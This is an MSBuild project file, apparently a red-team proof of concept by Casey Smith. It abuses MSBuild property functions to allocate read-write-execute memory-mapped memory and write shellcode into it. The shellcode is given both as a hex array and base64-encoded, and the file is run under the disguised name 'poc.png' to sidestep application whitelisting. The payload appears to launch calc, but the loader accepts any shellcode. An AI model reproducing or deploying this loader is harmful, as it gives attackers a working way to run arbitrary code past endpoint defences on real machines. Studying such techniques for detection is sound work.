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MSBuild Property Functions - Load RWX Memory Mapped File
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" >
<Target Name="Hello" >
<!-- Call ANY .NET API -->
<!--
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Full Working Details Here: https://www.youtube.com/watch?v=vj_rvLVpqg8
-->
<!-- set MSBUILDENABLEALLPROPERTYFUNCTIONS=1 -->
<!--
$env:MSBUILDENABLEALLPROPERTYFUNCTIONS = 1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe poc.png
byte[] shellcode = new byte[272] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x00 };
-->
<!-- Debug List Assemblies
<CreateItem Include="$([System.AppDomain]::CurrentDomain.GetAssemblies())" >
<Output TaskParameter="Include" ItemName="TypeItems"/>
</CreateItem>
<Message Text="%(TypeItems.Identity)" />
-->
<!-- Load Some Assemblies -->
<Message Text="$([System.Reflection.Assembly]::Load('System.IO') )" />
<Message Text="$([System.Reflection.Assembly]::Load('System.IO.MemoryMappedFiles') )" />
<Message Text="$([System.Reflection.Assembly]::Load('System.Runtime.InteropServices') )" />
<PropertyGroup>
<!--GUID -->
<MappedFileName>1c9360ac-dc0d-4cd8-bf32-c4380855b733</MappedFileName>
<Shellcode>/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYwA=</Shellcode>
<CreateMemoryMappedFile>$([System.IO.MemoryMappedFiles.MemoryMappedFile]::CreateNew($(MappedFileName), $([System.Int64]::Parse(272)),$([System.IO.MemoryMappedFiles.MemoryMappedFileAccess]::ReadWriteExecute)))</CreateMemoryMappedFile>
<WriteToMemoryMappedFile>$([System.IO.MemoryMappedFiles.MemoryMappedFile]::OpenExisting($(MappedFileName), $([System.IO.MemoryMappedFiles.MemoryMappedFileRights]::FullControl)).CreateViewStream().Write($([System.Convert]::FromBase64String($(Shellcode))), 0, 272) )</WriteToMemoryMappedFile>
<!-- Example To Return an IntPtr -->
<GetRWXIntPtrMemoryMappedFile>$([System.IO.MemoryMappedFiles.MemoryMappedFile]::OpenExisting($(MappedFileName), $([System.IO.MemoryMappedFiles.MemoryMappedFileRights]::FullControl)).CreateViewStream( $([System.Int64]::Parse(0)), $([System.Int64]::Parse(272)), $([System.IO.MemoryMappedFiles.MemoryMappedFileAccess]::ReadWriteExecute)).SafeMemoryMappedViewHandle.DangerousGetHandle().ToString("X"))</GetRWXIntPtrMemoryMappedFile>
</PropertyGroup>
<Message Text="$(GetTypePrimitive)" />
<Message Text="$(CreateMemoryMappedFile)" />
<Message Text="$(GetRWXIntPtrMemoryMappedFile)" />
<Message Text="$([System.Console]::ReadLine())" />
</Target>
</Project>
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